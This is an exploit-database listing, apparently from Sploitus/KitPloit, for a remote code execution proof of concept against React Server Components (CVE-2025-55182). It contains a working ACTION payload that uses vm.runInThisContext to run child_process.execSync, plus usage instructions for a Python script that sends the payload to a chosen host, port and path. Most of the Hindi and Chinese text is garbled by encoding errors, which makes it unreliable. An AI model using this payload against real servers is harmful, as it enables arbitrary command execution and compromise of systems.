Sploitus

Exploit for CVE-2025-55182POC

kitploit ┬╖ 2026-09-05

Exploit Code

MARKDOWN42 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SUDO-YANGZIRAN-CVE-2025-55182POC
# CVE-2025-55182 React Server Components RCE POC

рдпрд╣ рдкреНрд░реЛрдЬреЗрдХреНрдЯ **CVE-2025-55182 - React Server Components (RSC) RCE Proof of Concept** рд╣реИ, рдЬреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ **vm.runInThisContext** рдФрд░ **рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг ACTION payload** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд░рд┐рдореЛрдЯ рдХреЛрдб рдПрдХреНрдЬрд╝реАрдХреНрдпреВрд╢рди (RCE) рдЯреНрд░рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

  * Python рдкрдХреНрд╖: рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг ACTION payload рднреЗрдЬрддрд╛ рд╣реИ рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкрд╛рд░реНрд╕ рдХрд░рддрд╛ рд╣реИред



* * *

## тЪа рднреЗрджреНрдпрддрд╛ рдкрд░рд┐рдЪрдп (CVE-2025-55182)

React Server Components рдХрд╛ ACTION payload рдХреБрдЫ рд╢рд░реНрддреЛрдВ рдХреЗ рддрд╣рдд:

  * **JS рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ deserialize рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**
  * **vm.runInThisContext рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**
  * **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ server actions рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**



рд╣рдорд▓рд╛рд╡рд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд payload рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ:

root@kitploit:~
    
    
    {
      "$ACTION_REF_0": "",
      "$ACTION_0:0": "{\"id\": \"vm#runInThisContext\", \"bound\": [\"global.process.mainModule.require('child_process').execSync('calc').toString()\"]}"
    }
    

рдкреИрд░рд╛рдореАрдЯрд░| рдЕрдирд┐рд╡рд╛рд░реНрдп| рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдорд╛рди| рд╡рд┐рд╡рд░рдг  
---|---|---|---  
`--host`| рд╣рд╛рдБ| рдХреЛрдИ рдирд╣реАрдВ| рд▓рдХреНрд╖реНрдп рд╕рд░реНрд╡рд░ рдХрд╛ IP рдпрд╛ рдбреЛрдореЗрди рдирд╛рдоред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: `127.0.0.1`, `192.168.1.10`, `example.com`  
`--port`| рдирд╣реАрдВ| `80`| рд▓рдХреНрд╖реНрдп HTTP рд╕реЗрд╡рд╛ рдкреЛрд░реНрдЯ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: `3003`  
`--path`| рд╣рд╛рдБ| рдХреЛрдИ рдирд╣реАрдВ| рд▓рдХреНрд╖реНрдп рдХрд╛ рд╡рд╣ рд░реВрдЯ рдкрде рдЬреЛ рднреЗрджреНрдпрддрд╛ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: `/feedback`, `/action`  
`--https`| рдирд╣реАрдВ| `False`| рдХреНрдпрд╛ payload HTTPS рд╕реЗ рднреЗрдЬрдирд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ HTTP)  
  
python a.py --host <чЫоцаЗIP> \--port <члпхПг> \--path <чЫоцаЗURLш╖пх╛Д>

python a.py --host 127.0.0.1 --port 3003 --path /feedback